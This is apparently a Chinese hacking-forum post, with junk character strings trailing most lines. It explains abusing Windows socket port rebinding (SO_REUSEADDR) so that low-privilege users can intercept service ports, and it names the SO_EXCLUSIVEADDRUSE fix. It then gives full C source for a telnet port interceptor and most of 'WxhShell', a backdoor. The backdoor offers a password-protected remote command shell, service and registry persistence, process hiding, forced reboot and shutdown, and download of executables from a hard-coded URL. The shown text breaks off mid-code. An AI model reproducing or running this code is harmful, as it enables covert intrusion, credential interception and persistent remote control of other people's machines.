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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ,je`YEC  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @nV5.r0W}B  
`BZ&~vJ_  
  saddr.sin_family = AF_INET; JbQZ!+  
_q>SE1j+W=  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); VFD%h }  
H ;@!?I  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 7_KhV  
`kN #4p  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 _.18z+  
0_<Nc/(P  
  这意味着什么?意味着可以进行如下的攻击: &$fbP5uAZ  
Xwu.AVsr  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 eQX`,9:5  
K3$` Kv>I  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =)<3pGO  
vrl[BPI  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 V`a+Hi<P\  
73NZ:h%=  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  2O""4_G  
fJ80tt?r  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 hY \{|  
!DjT<dxf  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 8LM #WIm?  
zDBD.5R;  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 .5tg4%l  
?p8Qx\%*  
  #include CUmH,`hu  
  #include +/'<z  
  #include e 3@x*XI  
  #include    ]YD(`42x  
  DWORD WINAPI ClientThread(LPVOID lpParam);   m^Lj+=Z"  
  int main() M[Y4_$k<-  
  { qJs[i>P[W  
  WORD wVersionRequested; 9k2,3It  
  DWORD ret; pz}mF D&[  
  WSADATA wsaData; pVokgUrC  
  BOOL val; )@ PnTpL*  
  SOCKADDR_IN saddr; >2-F2E,  
  SOCKADDR_IN scaddr; (ppoW  
  int err; H*U`  
  SOCKET s; |+ 7f2C  
  SOCKET sc; wa3F  
  int caddsize; B%b_/F]e  
  HANDLE mt; 6mG3fMih.  
  DWORD tid;   (.^8^uc 7X  
  wVersionRequested = MAKEWORD( 2, 2 ); |_pl;&;:  
  err = WSAStartup( wVersionRequested, &wsaData ); LDX*<(  
  if ( err != 0 ) { _-a|VTM  
  printf("error!WSAStartup failed!\n"); :I/  
  return -1; X=_Z(;<&  
  } gL]'B!dGd  
  saddr.sin_family = AF_INET; &6"P7X  
   co]Gmg6p  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 1Ii| {vR  
Y1r ,2k  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ,t~sV@ap  
  saddr.sin_port = htons(23); i,OKf Xp  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ep?:;98|t  
  { $N\+,?  
  printf("error!socket failed!\n"); BjD&> gO)  
  return -1; *)%dXVf  
  } IA4+ad'\E  
  val = TRUE; u5E/m  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 f'_ S1\  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) wznn #j  
  { @&:VKpu\  
  printf("error!setsockopt failed!\n"); 5'9.np F)  
  return -1; [:pl-_.C  
  } #:W%,$ 9\P  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Tf l;7w.(A  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽  1~EO+  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 N9*UMVU  
`@\^m_!}  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) MgnE-6_c  
  { E4m:1=Nd~]  
  ret=GetLastError(); (HSw%e  
  printf("error!bind failed!\n"); > ZDC . ~  
  return -1; PN9^[X  
  } bA+[{  
  listen(s,2); w{P6i<J  
  while(1) |8;? *s`H  
  { rIPl6,w~  
  caddsize = sizeof(scaddr); 8_awMVAy  
  //接受连接请求  7kM4Ei  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); u9@b <  
  if(sc!=INVALID_SOCKET) `t9.xB#Z  
  { x~(y "^ph  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); %#4 +!  
  if(mt==NULL) d"l}Ny)C  
  { C,='3^Nc  
  printf("Thread Creat Failed!\n"); $[w|oAwi  
  break; G|V\^.f<  
  } ]W|RtdF3.N  
  } o_3*;}k8  
  CloseHandle(mt); D?J#u;h~f  
  } Q %y,;N"ro  
  closesocket(s); M/)B" q  
  WSACleanup(); KE#$+,?  
  return 0; b\M b*o  
  }   kraVL%72  
  DWORD WINAPI ClientThread(LPVOID lpParam) g`.{K"N>!  
  { Y`=z.D{  
  SOCKET ss = (SOCKET)lpParam; +yIL[D  
  SOCKET sc; }(cY|  
  unsigned char buf[4096]; f:FpyCo=9  
  SOCKADDR_IN saddr; omT(3)TP  
  long num; m/" J s  
  DWORD val;  mc~`  
  DWORD ret; k?n]ZNlT  
  //如果是隐藏端口应用的话,可以在此处加一些判断 BUV/twU)  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   mR!rn^<l  
  saddr.sin_family = AF_INET; @oA0{&G{  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); GM77Z.Y  
  saddr.sin_port = htons(23); [DL|Ht>  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +|M{I= 8  
  { 1zR/HT  
  printf("error!socket failed!\n"); x36NL^  
  return -1; @7]\y7D  
  } _4Ii5CNNU  
  val = 100; l)%mqW%  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) oB3q AP  
  { `L;OY 4  
  ret = GetLastError(); |thad!?  
  return -1; +yiU@K).0  
  } KDX$.$#  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) wU.'_SBfB  
  { >waN;&>/  
  ret = GetLastError(); {Bc#?n  
  return -1; !&\meS{  
  } "TUPYFK9  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 4"z;CGE7  
  { h9U+ %=^O  
  printf("error!socket connect failed!\n"); R^|!^[WE  
  closesocket(sc); 2>ys2:z  
  closesocket(ss); s v6INe:  
  return -1; l-Fmn/V  
  } h k/+  
  while(1) c'xUJhEL  
  {  Hl!1h%  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 _J` |<}?t;  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ~U/8 @gR  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 NuI T{3S  
  num = recv(ss,buf,4096,0); .$UTH@;7  
  if(num>0) /^~p~HKtx  
  send(sc,buf,num,0); ZHb7+  
  else if(num==0) aQxe)  
  break; g&q^.7c}  
  num = recv(sc,buf,4096,0); 6(,ItMbI  
  if(num>0) hl*MUD,  
  send(ss,buf,num,0); >Sh0dFqeT  
  else if(num==0) ktU9LW~  
  break; /#@LRN<oCq  
  } 3g^IXm:K$  
  closesocket(ss); " S ?Km  
  closesocket(sc); k:`a+LiZ  
  return 0 ; j`{fB}  
  } s87 a %  
4 iik5  
JThk Wx  
========================================================== Pu1GCr(  
,zc"udpKF  
下边附上一个代码,,WXhSHELL 4(m/D>6:  
yY'gx|\  
========================================================== |&9tU  
z9I1RX V  
#include "stdafx.h" s z;=mMr/Z  
r$94J'_  
#include <stdio.h> eB)UXOu1  
#include <string.h> nR(#F9  
#include <windows.h> @wg&6uQ  
#include <winsock2.h> Y"r3i]  
#include <winsvc.h> \a\^(`3a[  
#include <urlmon.h> >3<&V{<K  
"r:H5) !  
#pragma comment (lib, "Ws2_32.lib") B8`R(vu;  
#pragma comment (lib, "urlmon.lib") *QMF <ze  
b(g_.1[  
#define MAX_USER   100 // 最大客户端连接数 :8GlyN<E  
#define BUF_SOCK   200 // sock buffer I|GV :D  
#define KEY_BUFF   255 // 输入 buffer =ltbSf7  
8''9@xz  
#define REBOOT     0   // 重启 .WxFm@]/\  
#define SHUTDOWN   1   // 关机 @ARAX\F  
Sr4dY`V*:z  
#define DEF_PORT   5000 // 监听端口 ' 2;Ny23  
~vO'p  
#define REG_LEN     16   // 注册表键长度 S~]8K8"sT  
#define SVC_LEN     80   // NT服务名长度 n%7A;l!{  
\Sz4Gr0g3Z  
// 从dll定义API 40`9t Xn  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); r0rJ.}!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  "Nk`RsW  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); N )b|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 46QYXmNQ}  
,{#RrF e  
// wxhshell配置信息 *?EjYI  
struct WSCFG { s@*,r@<  
  int ws_port;         // 监听端口 K * xM[vO  
  char ws_passstr[REG_LEN]; // 口令 .Y=Z!Q  
  int ws_autoins;       // 安装标记, 1=yes 0=no JS<e`#c&  
  char ws_regname[REG_LEN]; // 注册表键名 @h,h=X  
  char ws_svcname[REG_LEN]; // 服务名 }Bv30V2-(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :< KSf#O  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 BaNU}@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 sDz)_;;%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Gnuo-8lb  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" k1~nd=p  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5$ (b3]  
X3&SL~&>g  
}; @g@ fL%  
\@iOnRuHn9  
// default Wxhshell configuration F[Guy7?O  
struct WSCFG wscfg={DEF_PORT, -oaG|  
    "xuhuanlingzhe", vV$hGS(f~  
    1, =R"Eb1  
    "Wxhshell", 6KBzlj0T+  
    "Wxhshell", ,_wm,  
            "WxhShell Service",  0jip::x  
    "Wrsky Windows CmdShell Service", ifgr<QlG  
    "Please Input Your Password: ", >*<6 zQf  
  1, 8AC. 2 v?_  
  "http://www.wrsky.com/wxhshell.exe", s$2l"|h>B  
  "Wxhshell.exe" Q]2sj:  
    }; UH1S_:6  
"4Wp>B  
// 消息定义模块 URmAI8fq*M  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; rU2YMghE  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [qjAq@@N#q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; o|p;6  
char *msg_ws_ext="\n\rExit."; #w%a m`+  
char *msg_ws_end="\n\rQuit."; O9Jx%tolF%  
char *msg_ws_boot="\n\rReboot..."; Sm*Jysy`  
char *msg_ws_poff="\n\rShutdown..."; ]ft~OqLg!  
char *msg_ws_down="\n\rSave to "; ?-RoqF  
~|0F?~eR7  
char *msg_ws_err="\n\rErr!"; 6B!j(R  
char *msg_ws_ok="\n\rOK!"; ,_5YaX:<4  
Cnc\sMDJ\B  
char ExeFile[MAX_PATH]; lN][xnP  
int nUser = 0; r=iMo7q  
HANDLE handles[MAX_USER]; )$Dcrrj  
int OsIsNt; d-#u/{jG)  
 '!r+Tz  
SERVICE_STATUS       serviceStatus; iA^+/Lt  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8f6;y1!;  
+UpMMh q  
// 函数声明 7am/X.  
int Install(void); I!soV0V U]  
int Uninstall(void); 9$\;voo  
int DownloadFile(char *sURL, SOCKET wsh); U`8^N.Snrp  
int Boot(int flag); I[cV"BDa  
void HideProc(void); 9wYtOQ{g  
int GetOsVer(void); F`ZIc7(.{  
int Wxhshell(SOCKET wsl); 3Q!J9t5dc  
void TalkWithClient(void *cs); zw%n!wc_\  
int CmdShell(SOCKET sock); W2W2WyPk  
int StartFromService(void); bN7UO  
int StartWxhshell(LPSTR lpCmdLine); y}:)cA~o(y  
&xiDG=I#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _:fO)gs|1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); vwqN;|F  
5sh u76  
// 数据结构和表定义 l:5CM[mZ  
SERVICE_TABLE_ENTRY DispatchTable[] = !7"K>m<  
{ 8.;';[  
{wscfg.ws_svcname, NTServiceMain}, 8t*%q+Z  
{NULL, NULL} jhEg#Q$  
}; BJ.8OU*9]S  
#@\NdW\  
// 自我安装 #()cG  
int Install(void) wMPw/a;  
{ tM PX vE  
  char svExeFile[MAX_PATH]; r~D~7MNl  
  HKEY key; <@AsCiQF  
  strcpy(svExeFile,ExeFile); !$KhL.4P  
v(Zi;?c  
// 如果是win9x系统,修改注册表设为自启动 Sfoy8<j  
if(!OsIsNt) { eE.5zXU3R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b]g&rwXYt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ap$ tu3j  
  RegCloseKey(key); eDM0417O(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Wru  Fp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ch,Zk )y:_  
  RegCloseKey(key);  \#+2;L  
  return 0; |n6 Q  
    } b-(UsY:  
  } u0 oYb_Yv  
} ~ Dp:j*H  
else { `j!2uRFe>  
MkNURy>n&  
// 如果是NT以上系统,安装为系统服务 wq_oh*"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h3d\MYO)B  
if (schSCManager!=0) }jY[| >z  
{ ,I&0#+}n  
  SC_HANDLE schService = CreateService M}oFn}-T9a  
  ( 9X {nJ"  
  schSCManager, tId !C  
  wscfg.ws_svcname, Rn~Xu)@e  
  wscfg.ws_svcdisp, ^3)2]>pW  
  SERVICE_ALL_ACCESS, ox=7N{+`J  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^B!?;\4IM  
  SERVICE_AUTO_START, &pY G   
  SERVICE_ERROR_NORMAL, |Q)w3\S$  
  svExeFile, %M,d/4=P  
  NULL, `)C`_g3Ew  
  NULL, {|J2clL  
  NULL, Qdr-GODx  
  NULL, =E~5&W7  
  NULL nM.?Q}yO~  
  ); Oc/_ T>  
  if (schService!=0) lQ<n dt~  
  { V-ouIqnI  
  CloseServiceHandle(schService); vBYT)S  
  CloseServiceHandle(schSCManager); |o=\9:wV  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >'TD?@sr  
  strcat(svExeFile,wscfg.ws_svcname); \;:@=9`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6L> "m0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); TX [%s@C  
  RegCloseKey(key); >eTgP._  
  return 0; $E,DxDT  
    } rD U6 5j  
  } +j: Ld(  
  CloseServiceHandle(schSCManager); A{Htpm~  
} =U7D}n hS-  
} #Xw[i  
Nx (pJp{S  
return 1; Fx99"3`3  
} >fj$ wOq  
-%V-'X5  
// 自我卸载 07"Oj9NlA  
int Uninstall(void) U>-#('  
{ = 4WZr  
  HKEY key; {ZM2WFpE  
PM<LR?PLc  
if(!OsIsNt) { 5m7Ax] \  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lvJ{=~u  
  RegDeleteValue(key,wscfg.ws_regname); @$yYljP  
  RegCloseKey(key); d<'Yt|zt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MVv^KezD  
  RegDeleteValue(key,wscfg.ws_regname); 8Gg/M%wq9U  
  RegCloseKey(key); dlzamoS@AR  
  return 0; O#5( U. E  
  } ^t ldm7{_  
} bl>b/u7/6  
} TIh zMW\/K  
else { HeifFJn  
1HWJxV"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); N b[o6AX  
if (schSCManager!=0) zomNjy*  
{ J+NK+,_*M  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5 ^z ,'C  
  if (schService!=0) ]bE?n.NwZ  
  { w:zC/5x`  
  if(DeleteService(schService)!=0) { Jb.u^3R@  
  CloseServiceHandle(schService); :QL p`s  
  CloseServiceHandle(schSCManager); "jc)N46  
  return 0; 4bzn^  
  } `h3}"js  
  CloseServiceHandle(schService); j"u)/A8*  
  } ;/q6^Nk3A  
  CloseServiceHandle(schSCManager); Jv.R?1;8i  
} ;L%~c4`l~m  
} Od]xIk+E  
@CI6$  
return 1; }/r%~cZ  
} sLqvDH?V  
5g>kr< K  
// 从指定url下载文件 p}7&x[fTLk  
int DownloadFile(char *sURL, SOCKET wsh) $cU/Im`  
{ V(uRKu x  
  HRESULT hr; %ys}Q!gR  
char seps[]= "/"; c+/C7C o  
char *token; TPFmSDq  
char *file; Hll}8d6[  
char myURL[MAX_PATH]; gK\7^95  
char myFILE[MAX_PATH]; j$oZIV7  
Hbc&.W;g7[  
strcpy(myURL,sURL); H^:|`T|,  
  token=strtok(myURL,seps); -%) !XB  
  while(token!=NULL) iX6jvnJ:/  
  { (+ anTA=  
    file=token; yP4.Z9  
  token=strtok(NULL,seps); W(4?#lA2W  
  } ea>\.D-S  
'k Z1&_{  
GetCurrentDirectory(MAX_PATH,myFILE); _N';`wjDY  
strcat(myFILE, "\\"); <XrGr5=BV  
strcat(myFILE, file); xumv I{  
  send(wsh,myFILE,strlen(myFILE),0); Z x%@wH~  
send(wsh,"...",3,0); /mu4J|[[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); M?zAkHNS$  
  if(hr==S_OK) ,x.)L=Cx8  
return 0; ZUW>{'[K  
else yvisoZX  
return 1; 1tz .e\  
3*2pacHpE  
} H5 hUY'O  
Nb/%>3O@  
// 系统电源模块 &ru0i@?)  
int Boot(int flag) XO~^*[K  
{ &~f_1<  
  HANDLE hToken; pPp nO  
  TOKEN_PRIVILEGES tkp; 9W$)W  
m kf{_!TK  
  if(OsIsNt) { yv4PK*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); w/6@R 4)p  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jloyJ@ck  
    tkp.PrivilegeCount = 1; :K:gyVrC  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; uwA3!5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); AI;=k  
if(flag==REBOOT) { x's-UO"^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Z"+!ayA7D  
  return 0; !#qB%E]a  
} ", )  
else { mDf WR  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) p n>`v   
  return 0; %WN2 xCSf  
} uK5x[m  
  } K*FAngIB  
  else { {2@96o2}  
if(flag==REBOOT) { h cXqg  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #sZes  
  return 0; Ngnjr7Q={T  
} JvaaBXkS\  
else { 1_lL?S3,a@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) q8>Q,F`BA  
  return 0; j3&*wU_  
} Q2?qvNZ  
} Zh^w)}(W  
oD\+ 5[x  
return 1; EdpR| z  
} K^ \9R  
{H2i+"cF  
// win9x进程隐藏模块 UI;{3Bn  
void HideProc(void) p#2th`M:P1  
{ *Fws]y2t~  
>,3 3Jx  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); e,8-P-h~T  
  if ( hKernel != NULL ) C<>.*wlp=  
  { }DaYO\:yK*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); e IA=?k.y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); T 1=M6iJ  
    FreeLibrary(hKernel); q3`t0eLZ  
  } ^dv>n]?  
,RQ-w2j?  
return; )K~nZLULY  
} BYU.ptiJJ  
i;Y^}2   
// 获取操作系统版本 vNGvEJ`qn  
int GetOsVer(void) Vk-_H)*r  
{ )3sb 2 #  
  OSVERSIONINFO winfo; <H6Uo#ao  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); N=9lA0y+  
  GetVersionEx(&winfo); fZ$2bI=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Lt_]3g o  
  return 1; bAp`lmFI  
  else cDg27xOUi  
  return 0; 3yN1cd"#?  
} I2'?~Lt  
)A%Y wI$  
// 客户端句柄模块 x}d\%* B  
int Wxhshell(SOCKET wsl) #Gx@\BE{  
{ wn`budH?c8  
  SOCKET wsh; '! (`?  
  struct sockaddr_in client; soF^G21N  
  DWORD myID; ~\P.gSiz  
2+PIZ6=hN  
  while(nUser<MAX_USER) FhGbQJ?[3  
{ 7~'@m(9e  
  int nSize=sizeof(client); 7[L C*nrr  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  t2iFd?  
  if(wsh==INVALID_SOCKET) return 1;  >pKI'  
16vfIUtb  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); zeX?]@]Y  
if(handles[nUser]==0) D#0}/  
  closesocket(wsh); V EzIWNV  
else -|mABHjx*  
  nUser++; TL>e[ PBO  
  } M3%< kk-_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); A\`Uu&  
I/g]9 y  
  return 0; ^^#A9AM  
} ( C&f~U  
lxZXz JkqZ  
// 关闭 socket &D:88   
void CloseIt(SOCKET wsh) v|6fqG+Q\  
{ GfDA5v[  
closesocket(wsh); sC>8[Jatd  
nUser--; C$8=HM3  
ExitThread(0); Yh=Zn[ U  
} v&Kw 3!X#E  
'PZJ{8=  
// 客户端请求句柄 Y%3j >_\;  
void TalkWithClient(void *cs) bTj,5,8 i  
{ dSbV{*B;>  
o%:eYl  
  SOCKET wsh=(SOCKET)cs; xQQ6D  
  char pwd[SVC_LEN]; ]P.S5s'  
  char cmd[KEY_BUFF]; "2mVW_k  
char chr[1]; c!zu0\[Id  
int i,j; T~la,>p|}  
n):VuOjm  
  while (nUser < MAX_USER) { b> | oU  
[{YV<kN  
if(wscfg.ws_passstr) { 6*$N@>8&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); < javZJ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VrpY BU  
  //ZeroMemory(pwd,KEY_BUFF); [*fnTy  
      i=0; xfb%bkr  
  while(i<SVC_LEN) { 95}"AIi  
}U9e#>e x  
  // 设置超时 nN[,$`JD,  
  fd_set FdRead; ]Sh&8 #  
  struct timeval TimeOut; R0Qp*&AL  
  FD_ZERO(&FdRead); H_9~gi  
  FD_SET(wsh,&FdRead); $/Mk.(3'P  
  TimeOut.tv_sec=8; Gv`PCA@/d  
  TimeOut.tv_usec=0; yDPek*#^"q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @I%m}>4Jm  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 61wiXX"N  
{+!_; zzZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "QMHY\C  
  pwd=chr[0]; p?Y1^/   
  if(chr[0]==0xd || chr[0]==0xa) { 8_>R'u[  
  pwd=0; fy-( B;  
  break; "YivjHa7H  
  } /SyiJCx0  
  i++; # aC}\  
    } d%WFgf}  
GE>&fG  
  // 如果是非法用户,关闭 socket Q?~l=}2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ak R*|iK#b  
} Rc u/ @j{O  
mV-MJ$3r  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~`y6YIJ3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  ST{<G  
>d =k-d  
while(1) { Ox58L>:0m  
c Mq|`CM  
  ZeroMemory(cmd,KEY_BUFF); "F=O   
'i}Q R~pe  
      // 自动支持客户端 telnet标准   8$1<N  
  j=0; cEe>Lyt  
  while(j<KEY_BUFF) { kc}e},k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $#CkI09  
  cmd[j]=chr[0]; {&xKS WNc  
  if(chr[0]==0xa || chr[0]==0xd) { 6b@:La  
  cmd[j]=0; GZse8ng  
  break; `Do-!G+W  
  } d35,[  
  j++; xand%XNv  
    } ZZ.GpB.  
0 j6/H?OT  
  // 下载文件 l/SbJrM*  
  if(strstr(cmd,"http://")) { ^hU7QxW  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); W}Z'zU?[  
  if(DownloadFile(cmd,wsh)) [-Dx)N  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7Kfh:0Ihhy  
  else u\50,N9Wp{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8xLvpgcZ  
  } .QW89e,O3  
  else { tip\vS)  
<Dl7|M  
    switch(cmd[0]) { 8dP^zjPj  
  [^#6.xH  
  // 帮助 A%pcPzG;  
  case '?': { /aP`|&G,)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7Y:1ji0l  
    break; ;'*"(F=D6  
  } c'[l%4U8[  
  // 安装 "Q ^Ck7  
  case 'i': { (,[Oy6o  
    if(Install()) _L9`bzZj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WJ8i,7  
    else 0m!+gZ@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MC^H N w  
    break; >osY?9  
    } s~,Ypo?  
  // 卸载 IF<pT)  
  case 'r': { @jX[Ho0W'  
    if(Uninstall()) S-*4HV_l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2]hQ56Yv3  
    else Pr9$( 6MX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }5\F<b^@Y  
    break; PE0A`  
    } BZe x  
  // 显示 wxhshell 所在路径 Y$shn]~  
  case 'p': { .hXxh)F  
    char svExeFile[MAX_PATH]; ,..&j+m  
    strcpy(svExeFile,"\n\r"); x8w455  
      strcat(svExeFile,ExeFile); ]7eQ5[ 5s  
        send(wsh,svExeFile,strlen(svExeFile),0); }[k~JXt  
    break; `$7. (.#s  
    } O$+0 .  
  // 重启 abp]qvCV  
  case 'b': { ,dP-sD;<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ihdN{Mx<2  
    if(Boot(REBOOT)) o[X 'We;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1Jjay#  
    else { f.4r'^  
    closesocket(wsh); P;C3{>G9  
    ExitThread(0); l~.ae,|7  
    } nDhr;/"i  
    break; ;N#d'E\  
    } N*y09?/h  
  // 关机 A}W) La\  
  case 'd': { yHsmX2s  
